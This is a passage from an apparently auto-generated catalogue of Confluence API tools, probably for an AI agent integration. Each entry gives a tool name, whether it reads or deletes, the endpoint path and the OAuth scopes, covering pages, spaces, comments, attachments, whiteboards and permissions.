— Delete custom content via DELETE /custom-content/{id} DELETE /api/v1/confluence/custom-content/{id}. Scopes: delete:custom-content:confluence. confluence_delete_databases_by_database_id_properties_by_property_id (write, destructive) — Delete database property by id via DELETE /databases/{database-id}/properties/{property-id} DELETE /api/v1/confluence/databases/{database_id}/properties/{property_id}. Scopes: read:database:confluence, write:database:confluence. confluence_delete_databases_by_id (write, destructive) — Delete database via DELETE /databases/{id} DELETE /api/v1/confluence/databases/{id}. Scopes: delete:database:confluence. confluence_delete_embeds_by_embed_id_properties_by_property_id (write, destructive) — Delete smart link property by id via DELETE /embeds/{embed-id}/properties/{property-id} DELETE /api/v1/confluence/embeds/{embed_id}/properties/{property_id}. Scopes: read:embed:confluence, write:embed:confluence. confluence_delete_embeds_by_id (write, destructive) — Delete smart link via DELETE /embeds/{id} DELETE /api/v1/confluence/embeds/{id}. Scopes: delete:embed:confluence. confluence_delete_folders_by_folder_id_properties_by_property_id (write, destructive) — Delete folder property by id via DELETE /folders/{folder-id}/properties/{property-id} DELETE /api/v1/confluence/folders/{folder_id}/properties/{property_id}. Scopes: read:folder:confluence, write:folder:confluence. confluence_delete_folders_by_id (write, destructive) — Delete folder via DELETE /folders/{id} DELETE /api/v1/confluence/folders/{id}. Scopes: delete:folder:confluence. confluence_delete_footer_comments_by_comment_id (write, destructive) — Delete footer comment via DELETE /footer-comments/{comment-id} DELETE /api/v1/confluence/footer-comments/{comment_id}. Scopes: delete:comment:confluence. confluence_delete_inline_comments_by_comment_id (write, destructive) — Delete inline comment via DELETE /inline-comments/{comment-id} DELETE /api/v1/confluence/inline-comments/{comment_id}. Scopes: delete:comment:confluence. confluence_delete_pages_by_id (write, destructive) — Delete page via DELETE /pages/{id} DELETE /api/v1/confluence/pages/{id}. Scopes: delete:page:confluence. confluence_delete_pages_by_page_id_properties_by_property_id (write, destructive) — Delete page property by id via DELETE /pages/{page-id}/properties/{property-id} DELETE /api/v1/confluence/pages/{page_id}/properties/{property_id}. Scopes: read:page:confluence, write:page:confluence. confluence_delete_space_roles_by_id (write, destructive) — Delete space role via DELETE /space-roles/{id} DELETE /api/v1/confluence/space-roles/{id}. Scopes: write:configuration:confluence. confluence_delete_spaces_by_id_classification_level_default (write, destructive) — Delete space default classification level via DELETE /spaces/{id}/classification-level/default DELETE /api/v1/confluence/spaces/{id}/classification-level/default. Scopes: read:space:confluence, write:space:confluence. confluence_delete_spaces_by_space_id_properties_by_property_id (write, destructive) — Delete space property by id via DELETE /spaces/{space-id}/properties/{property-id} DELETE /api/v1/confluence/spaces/{space_id}/properties/{property_id}. Scopes: read:space:confluence, write:space:confluence. confluence_delete_whiteboards_by_id (write, destructive) — Delete whiteboard via DELETE /whiteboards/{id} DELETE /api/v1/confluence/whiteboards/{id}. Scopes: delete:whiteboard:confluence. confluence_delete_whiteboards_by_whiteboard_id_properties_by_property_id (write, destructive) — Delete whiteboard property by id via DELETE /whiteboards/{whiteboard-id}/properties/{property-id} DELETE /api/v1/confluence/whiteboards/{whiteboard_id}/properties/{property_id}. Scopes: read:whiteboard:confluence, write:whiteboard:confluence. confluence_delete_wiki_rest_api_content_by_id_label (write, destructive) — Remove label from content using query parameter via DELETE /wiki/rest/api/content/{id}/label DELETE /api/v1/confluence/wiki/rest/api/content/{id}/label. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_content_by_id_label_by_label (write, destructive) — Remove label from content via DELETE /wiki/rest/api/content/{id}/label/{label} DELETE /api/v1/confluence/wiki/rest/api/content/{id}/label/{label}. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_content_by_id_pagetree (write, destructive) — Delete page tree via DELETE /wiki/rest/api/content/{id}/pageTree DELETE /api/v1/confluence/wiki/rest/api/content/{id}/pageTree. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_content_by_id_restriction (write, destructive) — Delete restrictions via DELETE /wiki/rest/api/content/{id}/restriction DELETE /api/v1/confluence/wiki/rest/api/content/{id}/restriction. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_content_by_id_restriction_byoperation_by_operationkey_bygroupid_by_groupid (write, destructive) — Remove group from content restriction via DELETE /wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/byGroupId/{groupId} DELETE /api/v1/confluence/wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/byGroupId/{groupId}. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_content_by_id_restriction_byoperation_by_operationkey_user (write, destructive) — Remove user from content restriction via DELETE /wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/user DELETE /api/v1/confluence/wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/user. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_content_by_id_state (write, destructive) — Remove content state via DELETE /wiki/rest/api/content/{id}/state DELETE /api/v1/confluence/wiki/rest/api/content/{id}/state. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_content_by_id_version_by_versionnumber (write, destructive) — Delete content version via DELETE /wiki/rest/api/content/{id}/version/{versionNumber} DELETE /api/v1/confluence/wiki/rest/api/content/{id}/version/{versionNumber}. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_group_by_id (write, destructive) — Remove group by id via DELETE /wiki/rest/api/group/by-id DELETE /api/v1/confluence/wiki/rest/api/group/by-id. Scopes: write:confluence-groups. confluence_delete_wiki_rest_api_group_userbygroupid (write, destructive) — Remove member from group by group id via DELETE /wiki/rest/api/group/userByGroupId DELETE /api/v1/confluence/wiki/rest/api/group/userByGroupId. Scopes: write:confluence-groups. confluence_delete_wiki_rest_api_relation_by_relationname_from_by_sourcetype_by_sourcekey_to_by_targettype_by_targetkey (write, destructive) — Delete relationship via DELETE /wiki/rest/api/relation/{relationName}/from/{sourceType}/{sourceKey}/to/{targetType}/{targetKey} DELETE /api/v1/confluence/wiki/rest/api/relation/{relationName}/from/{sourceType}/{sourceKey}/to/{targetType}/{targetKey}. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_settings_lookandfeel_custom (write, destructive) — Reset look and feel settings via DELETE /wiki/rest/api/settings/lookandfeel/custom DELETE /api/v1/confluence/wiki/rest/api/settings/lookandfeel/custom. Scopes: manage:confluence-configuration. confluence_delete_wiki_rest_api_space_by_spacekey (write, destructive) — Delete space via DELETE /wiki/rest/api/space/{spaceKey} DELETE /api/v1/confluence/wiki/rest/api/space/{spaceKey}. Scopes: write:confluence-space. confluence_delete_wiki_rest_api_space_by_spacekey_label (write, destructive) — Delete label from space via DELETE /wiki/rest/api/space/{spaceKey}/label DELETE /api/v1/confluence/wiki/rest/api/space/{spaceKey}/label. Scopes: write:confluence-space. confluence_delete_wiki_rest_api_space_by_spacekey_permission_by_id (write, destructive) — Remove permission via DELETE /wiki/rest/api/space/{spaceKey}/permission/{id} DELETE /api/v1/confluence/wiki/rest/api/space/{spaceKey}/permission/{id}. Scopes: write:space.permission:confluence. confluence_delete_wiki_rest_api_space_by_spacekey_theme (write, destructive) — Reset space theme via DELETE /wiki/rest/api/space/{spaceKey}/theme DELETE /api/v1/confluence/wiki/rest/api/space/{spaceKey}/theme. Scopes: write:confluence-space. confluence_delete_wiki_rest_api_template_by_contenttemplateid (write, destructive) — Remove template via DELETE /wiki/rest/api/template/{contentTemplateId} DELETE /api/v1/confluence/wiki/rest/api/template/{contentTemplateId}. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_user_by_userid_property_by_key (write, destructive) — Delete user property via DELETE /wiki/rest/api/user/{userId}/property/{key} DELETE /api/v1/confluence/wiki/rest/api/user/{userId}/property/{key}. Scopes: write:user.property:confluence. confluence_delete_wiki_rest_api_user_watch_content_by_contentid (write, destructive) — Remove content watcher via DELETE /wiki/rest/api/user/watch/content/{contentId} DELETE /api/v1/confluence/wiki/rest/api/user/watch/content/{contentId}. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_user_watch_label_by_labelname (write, destructive) — Remove label watcher via DELETE /wiki/rest/api/user/watch/label/{labelName} DELETE /api/v1/confluence/wiki/rest/api/user/watch/label/{labelName}. Scopes: write:confluence-content. confluence_delete_wiki_rest_api_user_watch_space_by_spacekey (write, destructive) — Remove space watch via DELETE /wiki/rest/api/user/watch/space/{spaceKey} DELETE /api/v1/confluence/wiki/rest/api/user/watch/space/{spaceKey}. Scopes: write:confluence-content. confluence_get_admin_key (read) — Get admin key via GET /admin-key GET /api/v1/confluence/admin-key. Scopes: none. confluence_get_app_properties (read) — Get forge app properties via GET /app/properties GET /api/v1/confluence/app/properties. Scopes: read:app-data:confluence. confluence_get_app_properties_by_propertykey (read) — Get forge app property via GET /app/properties/{propertyKey} GET /api/v1/confluence/app/properties/{propertyKey}. Scopes: read:app-data:confluence. confluence_get_attachments (read) — Get attachments via GET /attachments GET /api/v1/confluence/attachments. Scopes: read:attachment:confluence. confluence_get_attachments_by_attachment_id_properties (read) — Get attachment content properties via GET /attachments/{attachment-id}/properties GET /api/v1/confluence/attachments/{attachment_id}/properties. Scopes: read:attachment:confluence. confluence_get_attachments_by_attachment_id_properties_by_property_id (read) — Get attachment content properties by id via GET /attachments/{attachment-id}/properties/{property-id} GET /api/v1/confluence/attachments/{attachment_id}/properties/{property_id}. Scopes: read:attachment:confluence. confluence_get_attachments_by_attachment_id_versions_by_version_number (read) — Get attachment version details via GET /attachments/{attachment-id}/versions/{version-number} GET /api/v1/confluence/attachments/{attachment_id}/versions/{version_number}. Scopes: read:attachment:confluence. confluence_get_attachments_by_id (read) — Get attachment by id via GET /attachments/{id} GET /api/v1/confluence/attachments/{id}. Scopes: read:attachment:confluence. confluence_get_attachments_by_id_footer_comments (read) — Get attachment comments via GET /attachments/{id}/footer-comments GET /api/v1/confluence/attachments/{id}/footer-comments. Scopes: read:comment:confluence. confluence_get_attachments_by_id_labels (read) — Get attachment labels via GET /attachments/{id}/labels GET /api/v1/confluence/attachments/{id}/labels. Scopes: read:attachment:confluence. confluence_get_attachments_by_id_operations (read) — Get attachment operations via GET /attachments/{id}/operations GET /api/v1/confluence/attachments/{id}/operations. Scopes: read:attachment:confluence. confluence_get_attachments_by_id_thumbnail_download (read) — Get attachment thumbnail by id via GET /attachments/{id}/thumbnail/download GET /api/v1/confluence/attachments/{id}/thumbnail/download. Scopes: read:attachment:confluence. confluence_get_attachments_by_id_versions (read) — Get attachment versions via GET /attachments/{id}/versions GET /api/v1/confluence/attachments/{id}/versions. Scopes: read:attachment:confluence. confluence_get_blogposts (read) — Get blog posts via GET /blogposts GET /api/v1/confluence/blogposts. Scopes: read:page:confluence. confluence_get_blogposts_by_blogpost_id_properties (read) — Get blogpost content properties via GET /blogposts/{blogpost-id}/properties GET /api/v1/confluence/blogposts/{blogpost_id}/properties. Scopes: read:page:confluence. confluence_get_blogposts_by_blogpost_id_properties_by_property_id (read) — Get blogpost content properties by id via GET /blogposts/{blogpost-id}/properties/{property-id} GET /api/v1/confluence/blogposts/{blogpost_id}/properties/{property_id}. Scopes: read:page:confluence. confluence_get_blogposts_by_blogpost_id_versions_by_version_number (read) — Get blog post version details via GET /blogposts/{blogpost-id}/versions/{version-number} GET /api/v1/confluence/blogposts/{blogpost_id}/versions/{version_number}. Scopes: read:page:confluence. confluence_get_blogposts_by_id (read) — Get blog post by id via GET /blogposts/{id} GET /api/v1/confluence/blogposts/{id}. Scopes: read:page:confluence. confluence_get_blogposts_by_id_attachments (read) — Get blogpost attachments via GET /blogposts/{id}/attachments GET /api/v1/confluence/blogposts/{id}/attachments. Scopes: read:attachment:confluence. confluence_get_blogposts_by_id_classification_level (read) — Get blog post classification level via GET /blogposts/{id}/classification-level GET /api/v1/confluence/blogposts/{id}/classification-level. Scopes: read:page:confluence, write:page:confluence. confluence_get_blogposts_by_id_custom_content (read) — Get custom content by type in blog post via GET /blogposts/{id}/custom-content GET /api/v1/confluence/blogposts/{id}/custom-content. Scopes: read:custom-content:confluence. confluence_get_blogposts_by_id_footer_comments (read) — Get blog post footer comments via GET /blogposts/{id}/footer-comments GET /api/v1/confluence/blogposts/{id}/footer-comments. Scopes: read:comment:confluence. confluence_get_blogposts_by_id_inline_comments (read) — Get blog post inline comments via GET /blogposts/{id}/inline-comments GET /api/v1/confluence/blogposts/{id}/inline-comments. Scopes: read:comment:confluence. confluence_get_blogposts_by_id_labels (read) — Get blog post labels via GET /blogposts/{id}/labels GET /api/v1/confluence/blogposts/{id}/labels. Scopes: read:page:confluence. confluence_get_blogposts_by_id_likes_count (read) — Get blog post like count via GET /blogposts/{id}/likes/count GET /api/v1/confluence/blogposts/{id}/likes/count. Scopes: read:page:confluence. confluence_get_blogposts_by_id_likes_users (read) — Get blog post like users via GET /blogposts/{id}/likes/users GET /api/v1/confluence/blogposts/{id}/likes/users. Scopes: read:page:confluence. confluence_get_blogposts_by_id_operations (read) — Get blog post operations via GET /blogposts/{id}/operations GET /api/v1/confluence/blogposts/{id}/operations. Scopes: read:page:confluence. confluence_get_blogposts_by_id_versions (read) — Get blog post versions via GET /blogposts/{id}/versions GET /api/v1/confluence/blogposts/{id}/versions. Scopes: read:page:confluence. confluence_get_classification_levels (read) — Get classification levels via GET /classification-levels GET /api/v1/confluence/classification-levels. Scopes: read:configuration:confluence. confluence_get_comments_by_comment_id_properties (read) — Get comment content properties via GET /comments/{comment-id}/properties GET /api/v1/confluence/comments/{comment_id}/properties. Scopes: read:comment:confluence. confluence_get_comments_by_comment_id_properties_by_property_id (read) — Get comment content properties by id via GET /comments/{comment-id}/properties/{property-id} GET /api/v1/confluence/comments/{comment_id}/properties/{property_id}. Scopes: read:comment:confluence. confluence_get_custom_content (read) — Get custom content by type via GET /custom-content GET /api/v1/confluence/custom-content. Scopes: read:custom-content:confluence. confluence_get_custom_content_by_custom_content_id_properties (read) — Get custom content content properties via GET /custom-content/{custom-content-id}/properties GET /api/v1/confluence/custom-content/{custom_content_id}/properties. Scopes: read:custom-content:confluence. confluence_get_custom_content_by_custom_content_id_properties_by_property_id (read) — Get custom content content properties by id via GET /custom-content/{custom-content-id}/properties/{property-id} GET /api/v1/confluence/custom-content/{custom_content_id}/properties/{property_id}. Scopes: read:custom-content:confluence. confluence_get_custom_content_by_custom_content_id_versions (read) — Get custom content versions via GET /custom-content/{custom-content-id}/versions GET /api/v1/confluence/custom-content/{custom_content_id}/versions. Scopes: read:custom-content:confluence. confluence_get_custom_content_by_custom_content_id_versions_by_version_number (read) — Get custom content version details via GET /custom-content/{custom-content-id}/versions/{version-number} GET /api/v1/confluence/custom-content/{custom_content_id}/versions/{version_number}. Scopes: read:custom-content:confluence. confluence_get_custom_content_by_id (read) — Get custom content by id via GET /custom-content/{id} GET /api/v1/confluence/custom-content/{id}. Scopes: read:custom-content:confluence. confluence_get_custom_content_by_id_attachments (read) — Get custom content attachments via GET /custom-content/{id}/attachments GET /api/v1/confluence/custom-content/{id}/attachments. Scopes: read:attachment:confluence. confluence_get_custom_content_by_id_children (read) — Get child custom content via GET /custom-content/{id}/children GET /api/v1/confluence/custom-content/{id}/children. Scopes: read:custom-content:confluence. confluence_get_custom_content_by_id_footer_comments (read) — Get custom content comments via GET /custom-content/{id}/footer-comments GET /api/v1/confluence/custom-content/{id}/footer-comments. Scopes: read:comment:confluence. confluence_get_custom_content_by_id_labels (read) — Get custom content labels via GET /custom-content/{id}/labels GET /api/v1/confluence/custom-content/{id}/labels. Scopes: read:custom-content:confluence. confluence_get_custom_content_by_id_operations (read) — Get custom content operations via GET /custom-content/{id}/operations GET /api/v1/confluence/custom-content/{id}/operations. Scopes: read:custom-content:confluence. confluence_get_data_policies_metadata (read) — Get data policy metadata via GET /data-policies/metadata GET /api/v1/confluence/data-policies/metadata. Scopes: read:configuration:confluence. confluence_get_data_policies_spaces (read) — Get data policy spaces via GET /data-policies/spaces GET /api/v1/confluence/data-policies/spaces. Scopes: read:space:confluence. confluence_get_databases_by_database_id_properties_by_property_id (read) — Get database content properties by id via GET /databases/{database-id}/properties/{property-id} GET /api/v1/confluence/databases/{database_id}/properties/{property_id}. Scopes: read:database:confluence. confluence_get_databases_by_id (read) — Get database by id via GET /databases/{id} GET /api/v1/confluence/databases/{id}. Scopes: read:database:confluence. confluence_get_databases_by_id_ancestors (read) — Get database ancestors via GET /databases/{id}/ancestors GET /api/v1/confluence/databases/{id}/ancestors. Scopes: read:content.metadata:confluence. confluence_get_databases_by_id_classification_level (read) — Get database classification level via GET /databases/{id}/classification-level GET /api/v1/confluence/databases/{id}/classification-level. Scopes: read:database:confluence. confluence_get_databases_by_id_descendants (read) — Get database descendants via GET /databases/{id}/descendants GET /api/v1/confluence/databases/{id}/descendants. Scopes: read:hierarchical-content:confluence. confluence_get_databases_by_id_direct_children (read) — Get database direct children via GET /databases/{id}/direct-children GET /api/v1/confluence/databases/{id}/direct-children. Scopes: read:hierarchical-content:confluence. confluence_get_databases_by_id_operations (read) — Get database operations via GET /databases/{id}/operations GET /api/v1/confluence/databases/{id}/operations. Scopes: read:database:confluence. confluence_get_databases_by_id_properties (read) — Get database content properties via GET /databases/{id}/properties GET /api/v1/confluence/databases/{id}/properties. Scopes: read:database:confluence. confluence_get_embeds_by_embed_id_properties_by_property_id (read) — Get smart link content properties by id via GET /embeds/{embed-id}/properties/{property-id} GET /api/v1/confluence/embeds/{embed_id}/properties/{property_id}. Scopes: read:embed:confluence. confluence_get_embeds_by_id (read) — Get smart link by id via GET /embeds/{id} GET /api/v1/confluence/embeds/{id}. Scopes: read:embed:confluence. confluence_get_embeds_by_id_ancestors (read) — Get smart link ancestors via GET /embeds/{id}/ancestors GET /api/v1/confluence/embeds/{id}/ancestors. Scopes: read:content.metadata:confluence. confluence_get_embeds_by_id_descendants (read) — Get smart link descendants via GET /embeds/{id}/descendants GET /api/v1/confluence/embeds/{id}/descendants. Scopes: read:hierarchical-content:confluence. confluence_get_embeds_by_id_direct_children (read) — Get smart link direct children via GET /embeds/{id}/direct-children GET /api/v1/confluence/embeds/{id}/direct-children. Scopes: read:hierarchical-content:confluence. confluence_get_embeds_by_id_operations (read) — Get smart link operations via GET /embeds/{id}/operations GET /api/v1/confluence/embeds/{id}/operations. Scopes: read:embed:confluence. confluence_get_embeds_by_id_properties (read) — Get smart link content properties via GET /embeds/{id}/properties GET /api/v1/confluence/embeds/{id}/properties. Scopes: read:embed:confluence. confluence_get_folders_by_folder_id_properties_by_property_id (read) — Get folder content properties by id via GET /folders/{folder-id}/properties/{property-id} GET /api/v1/confluence/folders/{folder_id}/properties/{property_id}. Scopes: read:folder:confluence. confluence_get_folders_by_id (read) — Get folder by id via GET /folders/{id} GET /api/v1/confluence/folders/{id}. Scopes: read:folder:confluence. confluence_get_folders_by_id_ancestors (read) — Get folder ancestors via GET /folders/{id}/ancestors GET /api/v1/confluence/folders/{id}/ancestors. Scopes: read:content.metadata:confluence. confluence_get_folders_by_id_descendants (read) — Get folder descendants via GET /folders/{id}/descendants GET /api/v1/confluence/folders/{id}/descendants. Scopes: read:hierarchical-content:confluence. confluence_get_folders_by_id_direct_children (read) — Get folder direct children via GET /folders/{id}/direct-children GET /api/v1/confluence/folders/{id}/direct-children. Scopes: read:hierarchical-content:confluence. confluence_get_folders_by_id_operations (read) — Get folder operations via GET /folders/{id}/operations GET /api/v1/confluence/folders/{id}/operations. Scopes: read:folder:confluence. confluence_get_folders_by_id_properties (read) — Get folder content properties via GET /folders/{id}/properties GET /api/v1/confluence/folders/{id}/properties. Scopes: read:folder:confluence. confluence_get_footer_comments (read) — Get footer comments via GET /footer-comments GET /api/v1/confluence/footer-comments. Scopes: read:comment:confluence. confluence_get_footer_comments_by_comment_id (read) — Get footer comment by id via GET /footer-comments/{comment-id} GET /api/v1/confluence/footer-comments/{comment_id}. Scopes: read:comment:confluence. confluence_get_footer_comments_by_id_children (read) — Get footer comment children via GET /footer-comments/{id}/children GET /api/v1/confluence/footer-comments/{id}/children. Scopes: read:comment:confluence. confluence_get_footer_comments_by_id_likes_count (read) — Get footer like count via GET /footer-comments/{id}/likes/count GET /api/v1/confluence/footer-comments/{id}/likes/count. Scopes: read:comment:confluence. confluence_get_footer_comments_by_id_likes_users (read) — Get footer like users via GET /footer-comments/{id}/likes/users GET /api/v1/confluence/footer-comments/{id}/likes/users. Scopes: read:comment:confluence. confluence_get_footer_comments_by_id_operations (read) — Get footer comment operations via GET /footer-comments/{id}/operations GET /api/v1/confluence/footer-comments/{id}/operations. Scopes: read:comment:confluence. confluence_get_footer_comments_by_id_versions (read) — Get footer comment versions via GET /footer-comments/{id}/versions GET /api/v1/confluence/footer-comments/{id}/versions. Scopes: read:comment:confluence. confluence_get_footer_comments_by_id_versions_by_version_number (read) — Get footer comment version details via GET /footer-comments/{id}/versions/{version-number} GET /api/v1/confluence/footer-comments/{id}/versions/{version_number}. Scopes: read:comment:confluence. confluence_get_inline_comments (read) — Get inline comments via GET /inline-comments GET /api/v1/confluence/inline-comments. Scopes: read:comment:confluence. confluence_get_inline_comments_by_comment_id (read) — Get inline comment by id via GET /inline-comments/{comment-id} GET /api/v1/confluence/inline-comments/{comment_id}. Scopes: read:comment:confluence. confluence_get_inline_comments_by_id_children (read) — Get inline comment children via GET /inline-comments/{id}/children GET /api/v1/confluence/inline-comments/{id}/children. Scopes: read:comment:confluence. confluence_get_inline_comments_by_id_likes_count (read) — Get inline like count via GET /inline-comments/{id}/likes/count GET /api/v1/confluence/inline-comments/{id}/likes/count. Scopes: read:comment:confluence. confluence_get_inline_comments_by_id_likes_users (read) — Get inline like users via GET /inline-comments/{id}/likes/users GET /api/v1/confluence/inline-comments/{id}/likes/users. Scopes: read:comment:confluence. confluence_get_inline_comments_by_id_operations (read) — Get inline comment operations via GET /inline-comments/{id}/operations GET /api/v1/confluence/inline-comments/{id}/operations. Scopes: read:comment:confluence. confluence_get_inline_comments_by_id_versions (read) — Get inline comment versions via GET /inline-comments/{id}/versions GET /api/v1/confluence/inline-comments/{id}/versions. Scopes: read:comment:confluence. confluence_get_inline_comments_by_id_versions_by_version_number (read) — Get inline comment version details via GET /inline-comments/{id}/versions/{version-number} GET /api/v1/confluence/inline-comments/{id}/versions/{version_number}. Scopes: read:comment:confluence. confluence_get_labels (read) — Get labels via GET /labels GET /api/v1/confluence/labels. Scopes: read:label:confluence. confluence_get_labels_by_id_attachments (read) — Get label attachments via GET /labels/{id}/attachments GET /api/v1/confluence/labels/{id}/attachments. Scopes: read:attachment:confluence. confluence_get_labels_by_id_blogposts (read) — Get label blog posts via GET /labels/{id}/blogposts GET /api/v1/confluence/labels/{id}/blogposts. Scopes: read:page:confluence. confluence_get_labels_by_id_pages (read) — Get label pages via GET /labels/{id}/pages GET /api/v1/confluence/labels/{id}/pages. Scopes: read:page:confluence. confluence_get_pages (read) — Get pages via GET /pages GET /api/v1/confluence/pages. Scopes: read:page:confluence. confluence_get_pages_by_id (read) — Get page by id via GET /pages/{id} GET /api/v1/confluence/pages/{id}. Scopes: read:page:confluence. confluence_get_pages_by_id_ancestors (read) — Get page ancestors via GET /pages/{id}/ancestors GET /api/v1/confluence/pages/{id}/ancestors. Scopes: read:content.metadata:confluence. confluence_get_pages_by_id_attachments (read) — Get page attachments via GET /pages/{id}/attachments GET /api/v1/confluence/pages/{id}/attachments. Scopes: read:attachment:confluence. confluence_get_pages_by_id_children (read) — Get child pages via GET /pages/{id}/children GET /api/v1/confluence/pages/{id}/children. Scopes: read:page:confluence. confluence_get_pages_by_id_classification_level (read) — Get page classification level via GET /pages/{id}/classification-level GET /api/v1/confluence/pages/{id}/classification-level. Scopes: read:page:confluence, write:page:confluence. confluence_get_pages_by_id_custom_content (read) — Get custom content by type in page via GET /pages/{id}/custom-content GET /api/v1/confluence/pages/{id}/custom-content. Scopes: read:custom-content:confluence. confluence_get_pages_by_id_descendants (read) — Get page descendants via GET /pages/{id}/descendants GET /api/v1/confluence/pages/{id}/descendants. Scopes: read:hierarchical-content:confluence. confluence_get_pages_by_id_direct_children (read) — Get page direct children via GET /pages/{id}/direct-children GET /api/v1/confluence/pages/{id}/direct-children. Scopes: read:hierarchical-content:confluence. confluence_get_pages_by_id_footer_comments (read) — Get page footer comments via GET /pages/{id}/footer-comments GET /api/v1/confluence/pages/{id}/footer-comments. Scopes: read:comment:confluence. confluence_get_pages_by_id_inline_comments (read) — Get page inline comments via GET /pages/{id}/inline-comments GET /api/v1/confluence/pages/{id}/inline-comments. Scopes: read:comment:confluence. confluence_get_pages_by_id_labels (read) — Get page labels via GET /pages/{id}/labels GET /api/v1/confluence/pages/{id}/labels. Scopes: read:page:confluence. confluence_get_pages_by_id_likes_count (read) — Get page like count via GET /pages/{id}/likes/count GET /api/v1/confluence/pages/{id}/likes/count. Scopes: read:page:confluence. confluence_get_pages_by_id_likes_users (read) — Get page like users via GET /pages/{id}/likes/users GET /api/v1/confluence/pages/{id}/likes/users. Scopes: read:page:confluence. confluence_get_pages_by_id_operations (read) — Get page operations via GET /pages/{id}/operations GET /api/v1/confluence/pages/{id}/operations. Scopes: read:page:confluence. confluence_get_pages_by_id_versions (read) — Get page versions via GET /pages/{id}/versions GET /api/v1/confluence/pages/{id}/versions. Scopes: read:page:confluence. confluence_get_pages_by_page_id_properties (read) — Get page content properties via GET /pages/{page-id}/properties GET /api/v1/confluence/pages/{page_id}/properties. Scopes: read:page:confluence. confluence_get_pages_by_page_id_properties_by_property_id (read) — Get page content properties by id via GET /pages/{page-id}/properties/{property-id} GET /api/v1/confluence/pages/{page_id}/properties/{property_id}. Scopes: read:page:confluence. confluence_get_pages_by_page_id_versions_by_version_number (read) — Get page version details via GET /pages/{page-id}/versions/{version-number} GET /api/v1/confluence/pages/{page_id}/versions/{version_number}. Scopes: read:page:confluence. confluence_get_space_permissions (read) — Get available space permissions via GET /space-permissions GET /api/v1/confluence/space-permissions. Scopes: read:space.permission:confluence. confluence_get_space_permissions_transition_combinations (read) — List space permission combinations via GET /space-permissions/transition/combinations GET /api/v1/confluence/space-permissions/transition/combinations. Scopes: read:configuration:confluence. confluence_get_space_permissions_transition_tasks_by_taskid (read) — Get space permission transition task status via GET /space-permissions/transition/tasks/{taskId} GET /api/v1/confluence/space-permissions/transition/tasks/{taskId}. Scopes: read:configuration:confluence. confluence_get_space_role_mode (read) — Get space role mode via GET /space-role-mode GET /api/v1/confluence/space-role-mode. Scopes: read:configuration:confluence. confluence_get_space_roles (read) — Get available space roles via GET /space-roles GET /api/v1/confluence/space-roles. Scopes: read:space.permission:confluence. confluence_get_space_roles_by_id (read) — Get space roles by id via GET /space-roles/{id} GET /api/v1/confluence/space-roles/{id}. Scopes: read:space.permission:confluence. confluence_get_spaces (read) — Get spaces via GET /spaces GET /api/v1/confluence/spaces. Scopes: read:space:confluence. confluence_get_spaces_by_id (read) — Get space by id via GET /spaces/{id} GET /api/v1/confluence/spaces/{id}. Scopes: read:space:confluence. confluence_get_spaces_by_id_blogposts (read) — Get blog posts in space via GET /spaces/{id}/blogposts GET /api/v1/confluence/spaces/{id}/blogposts. Scopes: read:page:confluence. confluence_get_spaces_by_id_classification_level_default (read) — Get space default classification level via GET /spaces/{id}/classification-level/default GET /api/v1/confluence/spaces/{id}/classification-level/default. Scopes: read:space:confluence. confluence_get_spaces_by_id_content_labels (read) — Get space content labels via GET /spaces/{id}/content/labels GET /api/v1/confluence/spaces/{id}/content/labels. Scopes: read:space:confluence. confluence_get_spaces_by_id_custom_content (read) — Get custom content by type in space via GET /spaces/{id}/custom-content GET /api/v1/confluence/spaces/{id}/custom-content. Scopes: read:custom-content:confluence. confluence_get_spaces_by_id_labels (read) — Get space labels via GET /spaces/{id}/labels GET /api/v1/confluence/spaces/{id}/labels. Scopes: read:space:confluence. confluence_get_spaces_by_id_operations (read) — Get space operations via GET /spaces/{id}/operations GET /api/v1/confluence/spaces/{id}/operations. Scopes: read:space:confluence. confluence_get_spaces_by_id_pages (read) — Get pages in space via GET /spaces/{id}/pages GET /api/v1/confluence/spaces/{id}/pages. Scopes: read:page:confluence. confluence_get_spaces_by_id_permissions (read) — Get space permissions assignments via GET /spaces/{id}/permissions GET /api/v1/confluence/spaces/{id}/permissions. Scopes: read:space:confluence. confluence_get_spaces_by_id_role_assignments (read) — Get space role assignments via GET /spaces/{id}/role-assignments GET /api/v1/confluence/spaces/{id}/role-assignments. Scopes: read:space.permission:confluence. confluence_get_spaces_by_space_id_properties (read) — Get space properties via GET /spaces/{space-id}/properties GET /api/v1/confluence/spaces/{space_id}/properties. Scopes: read:space:confluence. confluence_get_spaces_by_space_id_properties_by_property_id (read) — Get space property by id via GET /spaces/{space-id}/properties/{property-id} GET /api/v1/confluence/spaces/{space_id}/properties/{property_id}. Scopes: read:space:confluence. confluence_get_tasks (read) — Get tasks via GET /tasks GET /api/v1/confluence/tasks. Scopes: read:task:confluence. confluence_get_tasks_by_id (read) — Get task by id via GET /tasks/{id} GET /api/v1/confluence/tasks/{id}. Scopes: read:task:confluence. confluence_get_whiteboards_by_id (read) — Get whiteboard by id via GET /whiteboards/{id} GET /api/v1/confluence/whiteboards/{id}. Scopes: read:whiteboard:confluence. confluence_get_whiteboards_by_id_ancestors (read) — Get whiteboard ancestors via GET /whiteboards/{id}/ancestors GET /api/v1/confluence/whiteboards/{id}/ancestors. Scopes: read:content.metadata:confluence. confluence_get_whiteboards_by_id_classification_level (read) — Get whiteboard classification level via GET /whiteboards/{id}/classification-level GET /api/v1/confluence/whiteboards/{id}/classification-level. Scopes: read:whiteboard:confluence. confluence_get_whiteboards_by_id_descendants (read) — Get whiteboard descendants via GET /whiteboards/{id}/descendants GET /api/v1/confluence/whiteboards/{id}/descendants. Scopes: read:hierarchical-content:confluence. confluence_get_whiteboards_by_id_direct_children (read) — Get whiteboard direct children via GET /whiteboards/{id}/direct-children GET /api/v1/confluence/whiteboards/{id}/direct-children. Scopes: read:hierarchical-content:confluence. confluence_get_whiteboards_by_id_operations (read) — Get whiteboard operations 